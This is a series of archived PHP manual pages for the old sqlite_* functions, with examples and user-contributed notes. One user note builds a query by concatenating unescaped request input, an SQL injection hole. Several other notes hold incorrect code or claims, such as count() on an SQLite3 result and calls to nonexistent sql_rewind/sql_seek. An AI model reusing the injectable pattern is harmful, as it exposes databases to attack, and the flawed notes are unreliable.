 INSERT INTO foo (name) VALUES('Ilia1');
 INSERT INTO foo (name) VALUES('Ilia2');
 INSERT INTO foo (name) VALUES('Ilia3');
");

$query = "SELECT * FROM foo;";

$result = $dbo->query($query) or die("Error in query");

echo "
<table border='1' cellpadding='10'>
 <tr>
  <td>".$result->fieldName(0)."</td>
  <td>".$result->fieldName(1)."</td>
 </tr>";

// iterate through the retrieved rows
while ($result->valid()) {
  // fetch current row
  $row = $result->current();
  echo "
 <tr>
  <td>".$row[0]."</td>
  <td>".$row[1]."</td>
 </tr>";
  // proceed to next row
  $result->next();
}

echo "</table>";

?>


Finds whether or not more rows are available

  • « sqlite_field_name
  • sqlite_has_prev »
  • PHP Manual
  • SQLite Functions
  • Finds whether or not more rows are available

sqlite_has_more

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.0)

sqlite_has_more — Finds whether or not more rows are available

Description

bool sqlite_has_more ( resource $result )

Finds whether more rows are available from the given result set.

Parameters

result

The SQLite result resource.

Return Values

Returns TRUE if there are more rows available from the result handle, or FALSE otherwise.

See Also

  • sqlite_num_rows() - Returns the number of rows in a buffered result set
  • sqlite_changes() - Returns the number of rows that were changed by the most recent SQL statement

User Contributed Notes

dcchut at gmail dot com 02-Feb-2009 01:39
dragosmocrii at gmail dot com:

It is slightly more efficient to use the COUNT function. (And when I say slightly I mean whisker small slightly.)

<?php
// $db is a SQLite database connection

if (sqlite_single_query($db, 'SELECT COUNT(*) FROM records WHERE amount_owing > 500')) {
    // There are records where the amount owing exceeds $500, do some action.
} else {
    // No money for you!
}

?>
dragosmocrii at gmail dot com 06-Apr-2008 08:08
I use this function to check if an element exists in the database.

<?php
$cat=$_REQUEST['cat'];
$db=sqlite_open('./sqlite_database.db',0666,$err) or die();
$query='select * from catsub where cat=\''.$cat.'\'';
$result=sqlite_has_more(sqlite_query($db,$query));
if($result===true ) echo 'Exists'; else echo 'Doesnt Exist';
sqlite_close($db);
?>


Returns whether or not a previous row is available

  • « sqlite_has_more
  • sqlite_key »
  • PHP Manual
  • SQLite Functions
  • Returns whether or not a previous row is available

sqlite_has_prev

SQLiteResult::hasPrev

(PHP 5 < 5.4.0)

sqlite_has_prev -- SQLiteResult::hasPrev — Returns whether or not a previous row is available

Description

bool sqlite_has_prev ( resource $result )

Object oriented style (method):

bool SQLiteResult::hasPrev ( void )

Find whether there are more previous rows from the given result handle.

Parameters

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

Note:

This function cannot be used with unbuffered result handles.

Return Values

Returns TRUE if there are more previous rows available from the result handle, or FALSE otherwise.

See Also

  • sqlite_prev() - Seek to the previous row number of a result set
  • sqlite_has_more() - Finds whether or not more rows are available
  • sqlite_num_rows() - Returns the number of rows in a buffered result set

User Contributed Notes

There are no user contributed notes for this page.


Returns the current row index

  • « sqlite_has_prev
  • sqlite_last_error »
  • PHP Manual
  • SQLite Functions
  • Returns the current row index

sqlite_key

SQLiteResult::key

(PHP 5 >= 5.1.0 and < 5.4.0)

sqlite_key -- SQLiteResult::key — Returns the current row index

Description

Object oriented style (method):

int SQLiteResult::key ( void )

SQLiteResult::key() returns the current row index of the buffered result set result.

Unlike all other SQLite functions, this function does not have a procedural version, and can only be called as a method on a SQLiteResult object.

Return Values

Returns the current row index of the buffered result set result.

See Also

  • sqlite_next() - Seek to the next row number
  • sqlite_current() - Fetches the current row from a result set as an array
  • sqlite_rewind() - Seek to the first row number

User Contributed Notes

There are no user contributed notes for this page.


Returns the error code of the last error for a database

  • « sqlite_key
  • sqlite_last_insert_rowid »
  • PHP Manual
  • SQLite Functions
  • Returns the error code of the last error for a database

sqlite_last_error

SQLiteDatabase::lastError

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.0)

sqlite_last_error -- SQLiteDatabase::lastError — Returns the error code of the last error for a database

Description

int sqlite_last_error ( resource $dbhandle )

Object oriented style (method):

public int SQLiteDatabase::lastError ( void )

Returns the error code from the last operation performed on dbhandle (the database handle), or 0 when no error occurred. A human readable description of the error code can be retrieved using sqlite_error_string().

Parameters

dbhandle

The SQLite Database resource; returned from sqlite_open() when used procedurally. This parameter is not required when using the object-oriented method.

Return Values

Returns an error code, or 0 if no error occurred.

See Also

  • sqlite_error_string() - Returns the textual description of an error code

User Contributed Notes

There are no user contributed notes for this page.


Returns the rowid of the most recently inserted row

  • « sqlite_last_error
  • sqlite_libencoding »
  • PHP Manual
  • SQLite Functions
  • Returns the rowid of the most recently inserted row

sqlite_last_insert_rowid

SQLiteDatabase::lastInsertRowid

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.0)

sqlite_last_insert_rowid -- SQLiteDatabase::lastInsertRowid — Returns the rowid of the most recently inserted row

Description

int sqlite_last_insert_rowid ( resource $dbhandle )

Object oriented style (method):

public int SQLiteDatabase::lastInsertRowid ( void )

Returns the rowid of the row that was most recently inserted into the database dbhandle, if it was created as an auto-increment field.

Tip

You can create auto-increment fields in SQLite by declaring them as INTEGER PRIMARY KEY in your table schema.

Parameters

dbhandle

The SQLite Database resource; returned from sqlite_open() when used procedurally. This parameter is not required when using the object-oriented method.

Return Values

Returns the row id, as an integer.

User Contributed Notes

22-Feb-2006 05:31
Note that you don't need to create a primary key for your table. In the absence of an integer primary key, SQLite simply uses an internal key called "RowID" or "OID".
It has all of the features of a normal integer primary key(auto-incrementing, returned by sqlite_last_insert_rowid(), accessible via SELECT, etc), except that it's handled better by SQLite and doesn't require the extra characters in the "CREATE" command.
If you just want a primary key as an auto-incrementing ID for your rows, save yourself the trouble and just use "OID" instead.

Also, according to the SQLite website, the id returned is for the last insert in the current *connection*, not just database. This means that if there are two connections to the same database at the same time, and both perform "INSERT", each can get it's own inserted rowid later, so basically this is thread-safe(So long as no-one calls "REINDEX").
ffoeg at shaw dot ca 02-Jan-2006 02:53
Note that if you insret a few rows in your table, say rowid 1-5, and then delete 2,3 and 4, you will be left with the rowids 1 and 5, not 1 and 2. This may seem basic to anyone with database experience, but I had to check it out with a GUI tool before I figured this one out. Anyway, what it boils down to is that sometimes your rowid will be greater than the number returned by the SQLite COUNT (*) function.
David 16-Apr-2005 04:50
I have noticed that this will still return an insert id even if a table has not been assigned a primary key or has not been assigned a primary key correctly. If the table was not created correctly sqlite_last_insert_rowid() will return its internal row id, which is probably not what you want. The correct way to establish a primary key migh look something like this look something like this:

create table some_table (id INTEGER PRIMARY KEY, some_field varchar(10))

Then you can try:

insert into some_table (some_field) values ('bob')

You will see that an id will be automatically generated and
calling sqlite_last_insert_rowid() will return the expected value


Returns the encoding of the linked SQLite library

  • « sqlite_last_insert_rowid
  • sqlite_libversion »
  • PHP Manual
  • SQLite Functions
  • Returns the encoding of the linked SQLite library

sqlite_libencoding

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.0)

sqlite_libencoding — Returns the encoding of the linked SQLite library

Description

string sqlite_libencoding ( void )

The SQLite library may be compiled in either ISO-8859-1 or UTF-8 compatible modes. This function allows you to determine which encoding scheme is used by your version of the library.

Warning

The default PHP distribution builds libsqlite in ISO-8859-1 encoding mode. However, this is a misnomer; rather than handling ISO-8859-1, it operates according to your current locale settings for string comparisons and sort ordering. So, rather than ISO-8859-1, you should think of it as being '8-bit' instead.

When compiled with UTF-8 support, sqlite handles encoding and decoding of UTF-8 multi-byte character sequences, but does not yet do a complete job when working with the data (no normalization is performed for example), and some comparison operations may still not be carried out correctly.

Warning

It is not recommended that you use PHP in a web-server configuration with a version of the SQLite library compiled with UTF-8 support, since libsqlite will abort the process if it detects a problem with the UTF-8 encoding.

Return Values

Returns the library encoding.

See Also

  • sqlite_lib_version()

User Contributed Notes

There are no user contributed notes for this page.


Returns the version of the linked SQLite library

  • « sqlite_libencoding
  • sqlite_next »
  • PHP Manual
  • SQLite Functions
  • Returns the version of the linked SQLite library

sqlite_libversion

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.0)

sqlite_libversion — Returns the version of the linked SQLite library

Description

string sqlite_libversion ( void )

Returns the version of the linked SQLite library.

Return Values

Returns the library version, as a string.

See Also

  • sqlite_libencoding() - Returns the encoding of the linked SQLite library

User Contributed Notes

jwzumwalt at neatinfo dot com 07-Sep-2010 01:03
Simple Example

<html>
<body>
<span style="color:navy; font-size:larger;">Supported <i>PHP Data Object</i> (PDO) drivers.</span>
<blockquote>
   <?php
   foreach(PDO::getAvailableDrivers() as $driver)
       {
       echo $driver.'<br />';
       }
       ?>
</blockquote>

<span style="color:navy; font-size:larger;">SQLite version.</span>
<blockquote>
   <?php echo sqlite_libversion(); ?>
</blockquote>

<span style="color:navy; font-size:larger;">PHP version.</span>
<blockquote>
   <?php echo phpversion(); ?>
</blockquote>
</body>
</html>


Seek to the next row number

  • « sqlite_libversion
  • sqlite_num_fields »
  • PHP Manual
  • SQLite Functions
  • Seek to the next row number

sqlite_next

SQLiteResult::next

SQLiteUnbuffered::next

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.0)

sqlite_next -- SQLiteResult::next -- SQLiteUnbuffered::next — Seek to the next row number

Description

bool sqlite_next ( resource $result )

Object oriented style (method):

bool SQLiteResult::next ( void )
bool SQLiteUnbuffered::next ( void )

sqlite_next() advances the result handle result to the next row.

Parameters

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

Return Values

Returns TRUE on success, or FALSE if there are no more rows.

See Also

  • sqlite_seek() - Seek to a particular row number of a buffered result set
  • sqlite_current() - Fetches the current row from a result set as an array
  • sqlite_rewind() - Seek to the first row number

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of fields in a result set

  • « sqlite_next
  • sqlite_num_rows »
  • PHP Manual
  • SQLite Functions
  • Returns the number of fields in a result set

sqlite_num_fields

SQLiteResult::numFields

SQLiteUnbuffered::numFields

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.0)

sqlite_num_fields -- SQLiteResult::numFields -- SQLiteUnbuffered::numFields — Returns the number of fields in a result set

Description

int sqlite_num_fields ( resource $result )

Object oriented style (method):

int SQLiteResult::numFields ( void )
int SQLiteUnbuffered::numFields ( void )

Returns the number of fields in the result set.

Parameters

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

Return Values

Returns the number of fields, as an integer.

See Also

  • sqlite_changes() - Returns the number of rows that were changed by the most recent SQL statement
  • sqlite_num_rows() - Returns the number of rows in a buffered result set

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of rows in a buffered result set

  • « sqlite_num_fields
  • sqlite_open »
  • PHP Manual
  • SQLite Functions
  • Returns the number of rows in a buffered result set

sqlite_num_rows

SQLiteResult::numRows

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.0)

sqlite_num_rows -- SQLiteResult::numRows — Returns the number of rows in a buffered result set

Description

int sqlite_num_rows ( resource $result )

Object oriented style (method):

int SQLiteResult::numRows ( void )

Returns the number of rows in the buffered result set.

Parameters

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

Note:

This function cannot be used with unbuffered result handles.

Return Values

Returns the number of rows, as an integer.

Examples

Example #1 Procedural example

<?php
$db = sqlite_open('mysqlitedb');
$result = sqlite_query($db, "SELECT * FROM mytable WHERE name='John Doe'");
$rows = sqlite_num_rows($result);

echo "Number of rows: $rows";
?>

Example #2 Object-oriented example

<?php
$db = new SQLiteDatabase('mysqlitedb');
$result = $db->query("SELECT * FROM mytable WHERE name='John Doe'");
$rows = $result->numRows();

echo "Number of rows: $rows";
?>

See Also

  • sqlite_changes() - Returns the number of rows that were changed by the most recent SQL statement
  • sqlite_query() - Executes a query against a given database and returns a result handle
  • sqlite_num_fields() - Returns the number of fields in a result set

User Contributed Notes

rezaamya at gmail dot com 18-Jun-2014 12:11
neither of "sqlite_num_rows($result)" and "$result->numRows()" is not working on SQLite3 !
you should use this way:

$db = new SQLite3('databasename.db');
$result = $db->query("SELECT * FROM users");
$rows = count ($result);
echo "Number of rows: $rows";


Opens an SQLite database and create the database if it does not exist

  • « sqlite_num_rows
  • sqlite_popen »
  • PHP Manual
  • SQLite Functions
  • Opens an SQLite database and create the database if it does not exist

sqlite_open

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.0)

sqlite_open — Opens an SQLite database and create the database if it does not exist

Description

resource sqlite_open ( string $filename [, int $mode = 0666 [, string &$error_message ]] )

Object oriented style (constructor):

final public SQLiteDatabase::__construct ( string $filename [, int $mode = 0666 [, string &$error_message ]] )

Opens an SQLite database or creates the database if it does not exist.

Parameters

filename

The filename of the SQLite database. If the file does not exist, SQLite will attempt to create it. PHP must have write permissions to the file if data is inserted, the database schema is modified or to create the database if it does not exist.

mode

The mode of the file. Intended to be used to open the database in read-only mode. Presently, this parameter is ignored by the sqlite library. The default value for mode is the octal value 0666 and this is the recommended value.

error_message

Passed by reference and is set to hold a descriptive error message explaining why the database could not be opened if there was an error.

Return Values

Returns a resource (database handle) on success, FALSE on error.

Examples

Example #1 sqlite_open() example

<?php
if ($db = sqlite_open('mysqlitedb', 0666, $sqliteerror)) {
    sqlite_query($db, 'CREATE TABLE foo (bar varchar(10))');
    sqlite_query($db, "INSERT INTO foo VALUES ('fnord')");
    $result = sqlite_query($db, 'select bar from foo');
    var_dump(sqlite_fetch_array($result));
} else {
    die($sqliteerror);
}
?>

Notes

Tip

On Unix platforms, SQLite is sensitive to scripts that use the fork() system call. If you do have such a script, it is recommended that you close the handle prior to forking and then re-open it in the child and/or parent. For more information on this issue, see » The C language interface to the SQLite library in the section entitled Multi-Threading And SQLite.

Tip

It is not recommended to work with SQLite databases mounted on NFS partitions. Since NFS is notoriously bad when it comes to locking you may find that you cannot even open the database at all, and if it succeeds, the locking behaviour may be undefined.

Note: Starting with SQLite library version 2.8.2, you can specify :memory: as the filename to create a database that lives only in the memory of the computer. This is useful mostly for temporary processing, as the in-memory database will be destroyed when the process ends. It can also be useful when coupled with the ATTACH DATABASE SQL statement to load other databases and move and query data between them.

Note: SQLite is safe mode and open_basedir aware.

See Also

  • sqlite_popen() - Opens a persistent handle to an SQLite database and create the database if it does not exist
  • sqlite_close() - Closes an open SQLite database
  • sqlite_factory() - Opens an SQLite database and returns an SQLiteDatabase object

User Contributed Notes

koalay at gmail dot com 05-Oct-2011 06:05
This function only support database of SQLite 2 or below. For SQLite 3, you must use PDO.
Phillip Berndt 02-Mar-2007 03:52
If you miss to set the permissions mentioned by ivoras Sqlite will drop an error message saying "Malformed database scheme", which is somehow misleading.

(I mentioned this as some [I did] might search php.net for this error message)
15-Nov-2006 11:45
the above example dows not! work since sqlite_query() does not accept one argument, but only 2.

so correct is:

<?php
if ($db = sqlite_open('mysqlitedb', 0666, $sqliteerror)) {
  sqlite_query($db,'CREATE TABLE foo (bar varchar(10))');
  sqlite_query($db,"INSERT INTO foo VALUES ('fnord')");
  $result = sqlite_query($db,'select bar from foo');
  var_dump(sqlite_fetch_array($result));
} else {
  die ($sqliteerror);
}
?>


Opens a persistent handle to an SQLite database and create the database if it does not exist

  • « sqlite_open
  • sqlite_prev »
  • PHP Manual
  • SQLite Functions
  • Opens a persistent handle to an SQLite database and create the database if it does not exist

sqlite_popen

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.0)

sqlite_popen — Opens a persistent handle to an SQLite database and create the database if it does not exist

Description

resource sqlite_popen ( string $filename [, int $mode = 0666 [, string &$error_message ]] )

This function behaves identically to sqlite_open() except that is uses the persistent resource mechanism of PHP. For information about the meaning of the parameters, read the sqlite_open() manual page.

sqlite_popen() will first check to see if a persistent handle has already been opened for the given filename. If it finds one, it returns that handle to your script, otherwise it opens a fresh handle to the database.

The benefit of this approach is that you don't incur the performance cost of re-reading the database and index schema on each page hit served by persistent web server SAPI's (any SAPI except for regular CGI or CLI).

Note: If you use persistent handles and have the database updated by a background process (perhaps via a crontab), and that process re-creates the database by overwriting it (either by unlinking and rebuilding, or moving the updated version to replace the current version), you may experience undefined behaviour when a persistent handle on the old version of the database is recycled. To avoid this situation, have your background processes open the same database file and perform their updates in a transaction.

Parameters

filename

The filename of the SQLite database. If the file does not exist, SQLite will attempt to create it. PHP must have write permissions to the file if data is inserted, the database schema is modified or to create the database if it does not exist.

mode

The mode of the file. Intended to be used to open the database in read-only mode. Presently, this parameter is ignored by the sqlite library. The default value for mode is the octal value 0666 and this is the recommended value.

error_message

Passed by reference and is set to hold a descriptive error message explaining why the database could not be opened if there was an error.

Return Values

Returns a resource (database handle) on success, FALSE on error.

See Also

  • sqlite_open() - Opens an SQLite database and create the database if it does not exist
  • sqlite_close() - Closes an open SQLite database
  • sqlite_factory() - Opens an SQLite database and returns an SQLiteDatabase object

User Contributed Notes

There are no user contributed notes for this page.


Seek to the previous row number of a result set

  • « sqlite_popen
  • sqlite_query »
  • PHP Manual
  • SQLite Functions
  • Seek to the previous row number of a result set

sqlite_prev

SQLiteResult::prev

(PHP 5 < 5.4.0)

sqlite_prev -- SQLiteResult::prev — Seek to the previous row number of a result set

Description

bool sqlite_prev ( resource $result )

Object oriented style (method):

bool SQLiteResult::prev ( void )

sqlite_prev() seeks back the result handle to the previous row.

Parameters

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

Note:

This function cannot be used with unbuffered result handles.

Return Values

Returns TRUE on success, or FALSE if there are no more previous rows.

See Also

  • sqlite_has_prev() - Returns whether or not a previous row is available
  • sqlite_rewind() - Seek to the first row number
  • sqlite_next() - Seek to the next row number

User Contributed Notes

There are no user contributed notes for this page.


Executes a query against a given database and returns a result handle

  • « sqlite_prev
  • sqlite_rewind »
  • PHP Manual
  • SQLite Functions
  • Executes a query against a given database and returns a result handle

sqlite_query

SQLiteDatabase::query

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.0)

sqlite_query -- SQLiteDatabase::query — Executes a query against a given database and returns a result handle

Description

resource sqlite_query ( resource $dbhandle , string $query [, int $result_type = SQLITE_BOTH [, string &$error_msg ]] )
resource sqlite_query ( string $query , resource $dbhandle [, int $result_type = SQLITE_BOTH [, string &$error_msg ]] )

Object oriented style (method):

public SQLiteResult SQLiteDatabase::query ( string $query [, int $result_type = SQLITE_BOTH [, string &$error_msg ]] )

Executes an SQL statement given by the query against a given database handle.

Parameters

dbhandle

The SQLite Database resource; returned from sqlite_open() when used procedurally. This parameter is not required when using the object-oriented method.

query

The query to be executed.

Data inside the query should be properly escaped.

result_type

The optional result_type parameter accepts a constant and determines how the returned array will be indexed. Using SQLITE_ASSOC will return only associative indices (named fields) while SQLITE_NUM will return only numerical indices (ordinal field numbers). SQLITE_BOTH will return both associative and numerical indices. SQLITE_BOTH is the default for this function.

error_msg

The specified variable will be filled if an error occurs. This is specially important because SQL syntax errors can't be fetched using the sqlite_last_error() function.

Note: Two alternative syntaxes are supported for compatibility with other database extensions (such as MySQL). The preferred form is the first, where the dbhandle parameter is the first parameter to the function.

Return Values

This function will return a result handle or FALSE on failure. For queries that return rows, the result handle can then be used with functions such as sqlite_fetch_array() and sqlite_seek().

Regardless of the query type, this function will return FALSE if the query failed.

sqlite_query() returns a buffered, seekable result handle. This is useful for reasonably small queries where you need to be able to randomly access the rows. Buffered result handles will allocate memory to hold the entire result and will not return until it has been fetched. If you only need sequential access to the data, it is recommended that you use the much higher performance sqlite_unbuffered_query() instead.

Changelog

Version | Description
5.1.0 | Added the error_msg parameter

Notes

Warning

SQLite will execute multiple queries separated by semicolons, so you can use it to execute a batch of SQL that you have loaded from a file or have embedded in a script. However, this works only when the result of the function is not used - if it is used, only the first SQL statement would be executed. Function sqlite_exec() will always execute multiple SQL statements.

When executing multiple queries, the return value of this function will be FALSE if there was an error, but undefined otherwise (it might be TRUE for success or it might return a result handle).

See Also

  • sqlite_unbuffered_query() - Execute a query that does not prefetch and buffer all data
  • sqlite_array_query() - Execute a query against a given database and returns an array

User Contributed Notes

glenn at byte-consult dot be 13-Jan-2012 02:16
Not a lot of examples on using the oo style of using sqlite files.  Maybe this helps someone trying to figure out all the names of the tables inside an sqlite file.

<?php

/* Just extend the class, add our method */
class MySQLiteDatabase extends SQLiteDatabase {

   /* A neat way to see which tables are inside a valid sqlite file */
   public function getTables()  {
      $tables=array();
      $q = $this->query(sprintf("SELECT name FROM sqlite_master WHERE type='table' ORDER BY name"));
      $result = $q->fetchAll();
      foreach($result as $tot_table) {
         $tables[]=$tot_table['name'];
      }
      return($tables);
   }
}

/* a sqlite file */
$database="BLAHBLAH.sqlite";

if (file_exists($database)) {
   $db = new MySQLiteDatabase($database, 0666, $err);
   if ($err) {
      trigger_error($err);
   } else {
      print_r($db->getTables());
   }
}

/* this sqlite db had 2 tables:
   Array
   (
   [0] => Account
   [1] => Device
   )

 */
?>
bruce at causal dot com 05-Aug-2009 08:11
In follow up to Csaba Gabor's function (see below) that allows for multi-statement queries to be executed via sqlite_query() this alternative implementation avoids a problem with Csaba's version (which prevents multi-statement constructs like CREATE TRIGGER from being parsed correctly).
<?php
function sqlite_query_multi ($db, $query) {
 //
 // sqlite_query() rewritten to support concatenated SQL statements.
 //
 // This method works around the sqlite_query() deficiency by splitting
 // queries into two parts; the first part comprising all the statements
 // except the last one (executed via sqlite_exec) and then the last
 // statement (executed via sqlite_query).
 //
 // This allows the result of the last SELECT statement in a multi-statement
 // query to be accessed regardless of the SQL statements that came before it.
 // It also allows execution of arbitrary multi-statement programs regardless
 // whether the result is needed, subject to the following constraint:
 //
 // This method requires that the last statement in a multi-statement query
 // is a valid "stand-alone" SQL statement. If it is not (eg, the "END;" of
 // a multi-statement construct such as CREATE TRIGGER) append an additional
 // ";" (ie, a NULL statement). Normally this should not be needed because
 // almost all the multi-statement constructs I can think of should have a
 // stand-alone statement following them (ie, to makes use of the construct).
 //
    $pattern = '/^(.*;)(.*;)/s';
    if ( preg_match($pattern,$query,$match) ) {
     // multi-statement query
        sqlite_exec($db,$match[1]);
        $result = sqlite_query($db,$match[2]);
    } else {
     // single-statement query
        $result = sqlite_query($db,$query);
    }
    return (@$result);
}
?>
helmakil at gmail dot com 05-Feb-2008 10:58
I suppose this could be useful for users attempting to use a sqlite database for the first time.
<?php
$database = new SQLiteDatabase($yourfile, 0666, $error);
if (!$database) {
    $error = (file_exists($yourfile)) ? "Impossible to open, check permissions" : "Impossible to create, check permissions";
    die($error);
}
$query = $database->query("SELECT name FROM sqlite_master WHERE type='table'", SQLITE_ASSOC, $query_error); #Lists all tables
if ($query_error)
    die("Error: $query_error"); #This means that most probably we catch a syntax error
if (!$query)
    die("Impossible to execute query.") #As reported above, this means that the db owner is different from the web server's one, but we did not commit any syntax mistake.
print $query->numRows();
while ($row = $query->fetch())
    print($row['name']."\n");
?>
i suppose that the example above is also useful because it will list all the tables created, giving also comprehension of what appens when managing a sqlite database in OO mode.
jason at fatpipeinc dot com 27-Oct-2005 04:32
Correction:

sqlite_query will return NULL if the web server cannot write to the sqlite database file.

(please correct the previous post and delete this one)
jason at fatpipeinc dot com 24-Oct-2005 06:35
sqlite_open will return NULL if the web server cannot write to the sqlite database file.

I saw the following message in my web server error log:

PHP Warning:  sqlite_query(): (null) ...

It turns out that the sqlite database file was owned by a user other than the one the web server was running as.  In my case, it was a Linux system running Apache (which was running under the context of user apache).  The sqlite database file was owned by root.  I changed ownership of the file to user apache and now it works!  The sqlite_open call now returns a valid result handle.

Jason Aeschilman
05-Oct-2004 10:54
While reading the manual at sqlite.org, I can answer for the quotes in strings. You should put two quote to get one.

insert into atable values ( '5 O''Clock');
csaba at alum dot mit dot edu 30-Apr-2004 03:41
The function below allows you to submit multiple queries in one shot to a SQLITE database, and will return whatever you would get for the final query.

function sqlite_query_multi ($db, $query) {
    // submit multiple queries (separated by ;) to $db
    // and return the result from the last one
    $multiSQL = "/('[^']*'|\"[^\"]*\"|[^;'\"])*;/";
    preg_match_all ($multiSQL, "$query;", $aSQL);
    for ($i=sizeof($aSQL=$aSQL[0]);$i--;)
    if (!($trim=trim(substr($aSQL[$i],0,-1))))
        unset ($aSQL[$i]);
        else $aSQL[$i] = "$trim;";
    foreach ($aSQL as $i => $sql)
    $dbRes = sqlite_query ($db, $sql);
    return (@$dbRes);
}

The section below illustrates the above function:

$db = sqlite_open(":memory:", 0666, $sqliteerror);
$query = <<<EOD
CREATE TABLE foo (bar INTEGER PRIMARY KEY, baz TEXT);
INSERT INTO foo VALUES (Null, 'Hi');
INSERT INTO foo VALUES (Null, 'Mom');
SELECT * FROM foo;
EOD;
$dbRes = sqlite_query_multi ($db, $query);  // 4 statements
while (sqlite_has_more($dbRes))
    var_dump(sqlite_fetch_array($dbRes, SQLITE_ASSOC));

Csaba Gabor


Seek to the first row number

  • « sqlite_query
  • sqlite_seek »
  • PHP Manual
  • SQLite Functions
  • Seek to the first row number

sqlite_rewind

SQLiteResult::rewind

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.0)

sqlite_rewind -- SQLiteResult::rewind — Seek to the first row number

Description

bool sqlite_rewind ( resource $result )

Object oriented style (method):

bool SQLiteResult::rewind ( void )

sqlite_rewind() seeks back to the first row in the given result set.

Parameters

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

Note:

This function cannot be used with unbuffered result handles.

Return Values

Returns FALSE if there are no rows in the result set, TRUE otherwise.

See Also

  • sqlite_next() - Seek to the next row number
  • sqlite_current() - Fetches the current row from a result set as an array
  • sqlite_seek() - Seek to a particular row number of a buffered result set

User Contributed Notes

There are no user contributed notes for this page.


Seek to a particular row number of a buffered result set

  • « sqlite_rewind
  • sqlite_single_query »
  • PHP Manual
  • SQLite Functions
  • Seek to a particular row number of a buffered result set

sqlite_seek

SQLiteResult::seek

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.0)

sqlite_seek -- SQLiteResult::seek — Seek to a particular row number of a buffered result set

Description

bool sqlite_seek ( resource $result , int $rownum )

Object oriented style (method):

bool SQLiteResult::seek ( int $rownum )

sqlite_seek() seeks to the row given by the parameter rownum.

Parameters

result

The SQLite result resource. This parameter is not required when using the object-oriented method.

Note:

This function cannot be used with unbuffered result handles.

rownum

The ordinal row number to seek to. The row number is zero-based (0 is the first row).

Note:

This function cannot be used with unbuffered result handles.

Return Values

Returns FALSE if the row does not exist, TRUE otherwise.

See Also

  • sqlite_next() - Seek to the next row number
  • sqlite_current() - Fetches the current row from a result set as an array
  • sqlite_rewind() - Seek to the first row number

User Contributed Notes

mina86 at tlen dot pl 12-May-2004 07:17
I've encoutered strange problem when using sqlite_seek(). When I tried to move the pointer to the first row (#0) I got the fallowing error message: row 0 out of range. The workaround seems to be use of sqlite_rewind(). One can use the fallowing function instead of the original one:

<?php
function sqlite_data_seek($result, $numrow) {
  if ($numrow==0) {
    return sql_rewind($result);
  } else {
    return sql_seek($result, $numrow);
  }
}
?>


Executes a query and returns either an array for one single column or the value of the first row

  • « sqlite_seek
  • sqlite_udf_decode_binary »
  • PHP Manual
  • SQLite Functions
  • Executes a query and returns either an array for one single column or the value of the first row

sqlite_single_query

SQLiteDatabase::singleQuery

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.1)

sqlite_single_query -- SQLiteDatabase::singleQuery — Executes a query and returns either an array for one single column or the value of the first row

Description

array sqlite_single_query ( resource $db , string $query [, bool $first_row_only [, bool $decode_binary ]] )

Object oriented style (method):

public array SQLiteDatabase::singleQuery ( string $query [, bool $first_row_only [, bool $decode_binary ]] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

oohall AT gmail DOT comMERCIAL 11-Apr-2008 07:38
The previous note by franp at free dot fr appears to be incorrect, some cursory testing showed that DELETE FROM and INSERT INTO queries worked fine so other queries which do not return data should also work. However, if you're looking for a drop in replacement for sqlite_query(), try sqlite_unbuffered_query() as it appears to only execute the first query if more than one is given.
franp at free dot fr 27-Sep-2004 02:42
AFAIK, you cannot use sqlite-single-query for all kind of SQL queries.
If you are lazy and thought you could safely copy-paste your :
<?php $result = $db->sqlite-single-query($sSQL); ?>
straight from one query to the other, whatever is the query as long as it has only one line, you are wrong.

Apparently, sqlite-single-query is limited to queries that return data, that is to SELECT queries.

<?php
$sSQL  = "DELETE FROM atoms WHERE ID = '8';";

// The following won't work :
$result = $db->singleQuery($sSQL);

// But the following will :
$result = $db->query($sSQL);
?>


Decode binary data passed as parameters to an UDF

  • « sqlite_single_query
  • sqlite_udf_encode_binary »
  • PHP Manual
  • SQLite Functions
  • Decode binary data passed as parameters to an UDF

sqlite_udf_decode_binary

(PHP 5 < 5.4.0, PECL sqlite >= 1.0.0)

sqlite_udf_decode_binary — Decode binary data passed as parameters to an UDF

Description

string sqlite_udf_decode_binary ( string $data )

Decodes binary data passed as parameters to a UDF.

You must call this function on parameters passed to your UDF if you need them to handle binary data, as the binary encoding employed by PHP will obscure the content and of the parameter in its natural, non-coded form.

PHP does not perform this encode/decode operation automatically as it would severely impact performance if it did.

Parameters

data

The encoded data that will be decoded, data that was applied by either sqlite_udf_encode_binary() or sqlite_escape_string().

Return Values

The decoded string.

Examples

Example #1 binary-safe max_length aggregation function example

<?php
$data = array(
   'one',
   'two',
   'three',
   'four',
   'five',
   'six',
   'seven',
   'eight',
   'nine',
   'ten',
   );
$db = sqlite_open(':memory:');
sqlite_query($db, "CREATE TABLE strings(a)");
foreach ($data as $str) {
    $str = sqlite_escape_string($str);
    sqlite_query($db, "INSERT INTO strings VALUES ('$str')");
}

function max_len_step(&$context, $string)
{
    $string = sqlite_udf_decode_binary($string);
    if (strlen($string) > $context) {
        $context = strlen($string);
    }
}

function max_len_finalize(&$context)
{
    return $context;
}

sqlite_create_aggregate($db, 'max_len', 'max_len_step', 'max_len_finalize');

var_dump(sqlite_array_query($db, 'SELECT max_len(a) from strings'));

?>

See Also

  • sqlite_udf_encode_binary() - Encode binary data before returning it from an UDF
  • sqlite_create_function() - Registers a "regular" User Defined Function for use in SQL statements
  • sqlite_create_aggregate() - Register an aggregating UDF for use in SQL statements

User Contributed Notes

There are no user contributed notes for this page.


Encode binary data before returning it from an UDF

  • « sqlite_udf_decode_binary
